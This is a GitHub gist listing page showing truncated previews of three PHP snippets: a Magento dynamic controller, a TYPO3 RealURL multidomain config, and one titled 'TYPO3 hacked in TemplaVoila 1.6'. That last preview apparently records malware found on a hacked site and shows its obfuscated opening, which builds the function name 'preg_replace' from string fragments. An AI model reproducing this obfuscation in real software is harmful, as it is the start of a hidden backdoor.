Skip to content

Instantly share code, notes, and snippets.

View SchumacherFM's full-sized avatar

Cyrill Schumacher SchumacherFM

View GitHub Profile
@SchumacherFM
SchumacherFM / gistIdController.php
Created November 30, 2012 10:10
Dynamic Magento controller Actions with PHP __call() method. Works without any rewrite condition. Good or bad? ;-)
<?php
class XXX_FileRestriction_IdController extends Mage_Core_Controller_Front_Action
{
/**
* Allow URLs like http://domain.tld/downloader/id/4711
* without any rewrite syntax
*
* @param string $method
* @param array $args
@SchumacherFM
SchumacherFM / gist:3349554
Created August 14, 2012 14:06
TYPO3 hacked in TemplaVoila 1.6
<?php
/*wjmrwg7zaBtVqBVJWTiNkMPYQaLo69qgsNaDo44B0
cCMmj329Ck4XgeOptvyyiFcbxxnEH4hqUkA
1wg2XkWSfr95qFlGyMYiGWl74mr0AbW
ssFfmIQzzd6KgyGQ2ic1JNyRbY7g7bqNzgjFzHedKADKVv9VW
5mEhySWK1fOoZxcrrkPh8u7BHQQraF5r
*/
$RuoGzMJ='preg_'. 'rep'. 'l'.'a'.'c'. 'e';
@SchumacherFM
SchumacherFM / realurl_conf.php
Created July 24, 2012 19:28
Multidomain with RealURL #TYPO3
<?php
/*
assuming the following folder structure:
typo3conf/
|
L ext/
L domainconfig/
|
L domain-global.inc.php
L domain-de.inc.php